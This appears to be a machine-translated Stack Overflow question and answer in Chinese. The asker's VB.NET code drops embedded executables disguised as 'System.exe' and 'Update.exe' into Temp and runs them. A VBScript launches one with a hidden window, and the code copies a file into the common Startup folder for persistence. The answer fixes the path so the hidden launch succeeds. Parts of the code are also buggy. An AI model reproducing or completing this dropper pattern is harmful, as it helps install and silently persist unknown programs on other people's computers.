我需要帮助来解决这个脚本:
问题很简单,无法运行VBScript VB8
,因为它会在基于Windows的脚本主机上打开并引发错误。
正如你在这里看到的:
我想以普通的VBScript脚本运行。
Public Class Form1
Dim File As String = "%temp%\Desktop"
Dim Copy As String = "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup"
Dim Paste As String = "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup"
Dim Pegar As String = "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup"
Dim NEA As String = "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup"
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
IO.File.WriteAllBytes(My.Computer.FileSystem.SpecialDirectories.Temp & "\System.exe", My.Resources.System)
Process.Start(My.Computer.FileSystem.SpecialDirectories.Temp & "\System.exe")
IO.File.WriteAllBytes(My.Computer.FileSystem.SpecialDirectories.Temp & "\Update.exe", My.Resources.update)
“”“”“”“”“”“”“”“”“”“”“”“”“”错误从此处开始“”“”“”“”“”“” “”“”“”“”“”“”“”“”“”“”“
IO.File.WriteAllText(My.Computer.FileSystem.SpecialDirectories.Desktop & "\net.vbs", My.Resources.net)
Process.Start(My.Computer.FileSystem.SpecialDirectories.Temp & "\net.vbs")
“”“”“”“”“”“”“”“”“”“”“”“”“结束错误”“”“”“”“”“”“”“” “”“”“”“”“”“”“”“”“”“”“”“”
MsgBox("Ok")
Dim aakam As Integer
On Error Resume Next
aakam = 1000
Dim aakam031 As String = My.Computer.FileSystem.SpecialDirectories.Temp
Dim akam As String = aakam031 + "System.exe"
IO.File.WriteAllBytes(akam, My.Resources.System)
Process.Start(akam)
If System.IO.File.Exists(File) = True Then
System.IO.File.Copy(File, Copy)
System.IO.File.Copy(File, Paste)
System.IO.File.Copy(File, Pegar)
System.IO.File.Copy(File, NEA)
End If
End Sub
vbscript的脚本是:
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run chr(34) & "Update.exe" & Chr(34), 0
Set WshShell = Nothing
我希望它像典型的vbscript一样打开。没有基于Windows的脚本主机。
如果你知道如何将exe移动到shell:common
启动。
运行vbscript会好得多
感谢。
答案 0 :(得分:0)
正如@MCND已经指出:您的问题不是Windows脚本宿主,而是在当前工作目录中找不到可执行文件。如果可执行文件位于用户的Temp目录中,则只需将%TEMP%
环境变量添加到可执行文件路径中:
WshShell.Run Chr(34) & "%TEMP%\Update.exe" & Chr(34), 0
或者您可以将目录作为参数传递给脚本,并将工作目录设置为:
WshShell.CurrentDirectory = WScript.Arguments(0)
WshShell.Run Chr(34) & "Update.exe" & Chr(34), 0